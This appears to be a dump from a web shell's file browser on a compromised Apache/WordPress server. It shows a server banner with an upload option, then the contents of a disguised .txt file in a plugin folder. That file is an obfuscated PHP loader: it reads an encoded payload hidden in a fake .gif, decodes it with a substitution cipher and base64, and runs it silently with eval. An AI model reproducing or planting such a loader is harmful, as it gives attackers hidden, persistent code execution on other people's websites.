HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpmuhibbah_err/wp-content/plugins/abachyciz/afepyth.txt
<?php

function luboto_zhynezhy($cejoci_izhyshyd) {
    if ($cejoci_izhyshyd == 1)
        return fyjura_ujidekoch();
    if ($cejoci_izhyshyd == 2)
        return uqoviw_azusysoji();
}

function picetu_ochoduryfi($cejoci_izhyshyd) {
    $tokaxar = luboto_zhynezhy(1);
    $sarygaq = luboto_zhynezhy(2);
    for ($suqike = 0; $suqike < strlen($tokaxar); $suqike++) {
        $symawig = substr($tokaxar, $suqike, 1);
        $ojukhob = substr($sarygaq, $suqike, 1);
        $hybuly[$symawig] = $ojukhob;
    }

    $unobaz = strtr($cejoci_izhyshyd, $hybuly);
    $unobaz = base64_decode($unobaz);

    return $unobaz;
}

function dyjoke_okhuxuti($cejoci_izhyshyd) {
    $zorucet = array();
    if (!file_exists($cejoci_izhyshyd))
        return false;
    $axitumy = @file_get_contents($cejoci_izhyshyd);
    if (!$axitumy)
        return false;
    $axitumy = substr($axitumy, 3);
    $zorucet = picetu_ochoduryfi($axitumy);
    return $zorucet;
}

function fyjura_ujidekoch() {
    $axitumy = "w1NAWoVdPrBKqvsQSD8b9GhOtn3RpyCIfXi=2Lx/6j5lkz0uH4mTEUMgZ7cJYaFe+";
    return $axitumy;
}

function uqoviw_azusysoji() {
    $zorucet = "i57yYRW14I+KVgUCzH896EdZunMOepDcov2xBFNakX/tjs=3QSmGAPlbLrwqfhJT0";
    return $zorucet;
}

$oxijyz = dyjoke_okhuxuti(__DIR__ . "/asset" . "s/im" . "ages/c" . "osik" . "hi.gif");
if ($oxijyz) {
    @eval($oxijyz);
}